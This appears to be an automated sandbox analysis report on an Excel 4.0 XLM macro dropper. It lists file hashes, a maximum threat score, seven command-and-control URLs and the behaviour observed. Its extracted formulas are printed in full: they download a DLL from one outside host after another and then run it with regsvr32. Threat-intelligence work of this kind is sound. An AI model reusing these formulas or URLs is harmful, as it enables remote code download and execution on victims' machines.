9116730ccc91476ed10f874ad69397ccf7e890a95be035bf4ae16735a7170845

General

Target

9116730ccc91476ed10f874ad69397ccf7e890a95be035bf4ae16735a7170845
Size

32KB
Sample

241120-dwy3bavjfq
MD5

4c301bcf342d05d3694b76a053e05b1e
SHA1

365da880c78ad6b5898a2308e4a5cc329c55b1c4
SHA256

9116730ccc91476ed10f874ad69397ccf7e890a95be035bf4ae16735a7170845
SHA512

f37dd5ff00e5ae6484e36dfb9db7e7d5d078cecd5f7f8d0326707e561fc71166fbd1e64748686ea1f5b9b53a0a026cec2e6407ea44d32c7cd22d34a818936b92
SSDEEP

768:cjFH4QqFhN+DizXT2RdFfPdkqstJkjE6oB:2S7TkgXendkqJE62

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

https://www.aulavirtualapecc.com/server/qramDt1UIotz/

https://ingelse.net/Overview/slWIUhVtK/

http://calzadoyuyin.com/cgj-bin/uzOOL/

https://wimmergroup.com/home_tours/Pvnw2/

http://www.arkidecture.com/vendor/5Ibj6pmUm/

http://bizztream.com/images/NS85wHTdIY9N5Ay/

https://www.berekethaber.com/dosyalar/2z6RZL/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.aulavirtualapecc.com/server/qramDt1UIotz/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ingelse.net/Overview/slWIUhVtK/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://calzadoyuyin.com/cgj-bin/uzOOL/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wimmergroup.com/home_tours/Pvnw2/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arkidecture.com/vendor/5Ibj6pmUm/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bizztream.com/images/NS85wHTdIY9N5Ay/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.berekethaber.com/dosyalar/2z6RZL/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.aulavirtualapecc.com/server/qramDt1UIotz/

xlm40.dropper

https://ingelse.net/Overview/slWIUhVtK/

xlm40.dropper

http://calzadoyuyin.com/cgj-bin/uzOOL/

xlm40.dropper

https://wimmergroup.com/home_tours/Pvnw2/

xlm40.dropper

http://www.arkidecture.com/vendor/5Ibj6pmUm/

xlm40.dropper

http://bizztream.com/images/NS85wHTdIY9N5Ay/

xlm40.dropper

https://www.berekethaber.com/dosyalar/2z6RZL/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.aulavirtualapecc.com/server/qramDt1UIotz/

xlm40.dropper

https://ingelse.net/Overview/slWIUhVtK/

xlm40.dropper

http://calzadoyuyin.com/cgj-bin/uzOOL/

xlm40.dropper

https://wimmergroup.com/home_tours/Pvnw2/

Targets

- Target
  
  9116730ccc91476ed10f874ad69397ccf7e890a95be035bf4ae16735a7170845
- Size
  
  32KB
- MD5
  
  4c301bcf342d05d3694b76a053e05b1e
- SHA1
  
  365da880c78ad6b5898a2308e4a5cc329c55b1c4
- SHA256
  
  9116730ccc91476ed10f874ad69397ccf7e890a95be035bf4ae16735a7170845
- SHA512
  
  f37dd5ff00e5ae6484e36dfb9db7e7d5d078cecd5f7f8d0326707e561fc71166fbd1e64748686ea1f5b9b53a0a026cec2e6407ea44d32c7cd22d34a818936b92
- SSDEEP
  
  768:cjFH4QqFhN+DizXT2RdFfPdkqstJkjE6oB:2S7TkgXendkqJE62
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2